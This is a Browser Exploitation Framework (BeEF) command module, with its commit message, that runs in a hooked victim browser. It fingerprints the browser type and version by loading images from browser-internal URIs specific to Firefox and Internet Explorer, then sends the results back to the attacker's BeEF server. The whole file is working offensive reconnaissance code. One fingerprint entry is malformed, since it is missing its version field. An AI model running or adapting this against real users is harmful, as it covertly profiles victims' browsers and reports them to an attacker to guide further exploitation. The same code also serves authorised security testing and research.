b119f8614c
This module attempts to fingerprint the browser type and version using URI handlers unique to Internet Explorer and Mozilla Firefox. This method does not rely on JavaScript objects which may have been modified by the user or browser compatibility mode. git-svn-id: https://beef.googlecode.com/svn/trunk@1241 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
59 lines
2.2 KiB
JavaScript
59 lines
2.2 KiB
JavaScript
//
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// Copyright 2011 Wade Alcorn wade@bindshell.net
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//
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// Licensed under the Apache License, Version 2.0 (the "License");
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// you may not use this file except in compliance with the License.
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// You may obtain a copy of the License at
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//
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// http://www.apache.org/licenses/LICENSE-2.0
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//
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// Unless required by applicable law or agreed to in writing, software
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// distributed under the License is distributed on an "AS IS" BASIS,
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// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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// See the License for the specific language governing permissions and
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// limitations under the License.
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//
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beef.execute(function() {
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var browser_type = new Array;
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var browser_version = new Array;
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var dom = document.createElement('b');
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Array.prototype.unique = function() {
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var o = {}, i, l = this.length, r = [];
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for(i=0; i<l;i+=1) o[this[i]] = this[i];
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for(i in o) r.push(o[i]);
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return r;
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};
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parse_browser_details = function() {
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if (!browser_type.length) browser_type[0] = "unknown";
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if (!browser_version.length) browser_version[0] = "unknown";
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beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser_type="+browser_type.unique()+"&browser_version="+browser_version.unique());
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};
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// Browser fingerprints // in the form of: "URI","Browser","version(s)"
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var fingerprints = new Array(
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new Array("Firefox","moz-icon://.autoreg?size=16"),
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new Array("Firefox","2.x","resource:///res/html/gopher-audio.gif"),
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new Array("Firefox","2.x-3.x","jar:resource:///chrome/classic.jar!/skin/classic/browser/Secure.png"),
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new Array("Firefox","4.x-5.x","resource:///chrome/browser/skin/classic/browser/Secure.png"),
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new Array("Firefox","4+","resource:///chrome/browser/skin/classic/browser/Geolocation-16.png"),
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new Array("Internet Explorer","5.x-6.x","res://shdoclc.dll/pagerror.gif"),
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new Array("Internet Explorer","7+","res://ieframe.dll/info_48.png")
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);
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for (var i=0; i<fingerprints.length; i++) {
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var img = new Image;
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img.id = fingerprints[i][0];
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img.name = fingerprints[i][1];
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img.src = fingerprints[i][2];
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img.onload = function() { browser_type.push(this.id); browser_version.push(this.name); dom.removeChild(this); }
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dom.appendChild(img);
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}
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setTimeout('parse_browser_details();', 2000);
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});
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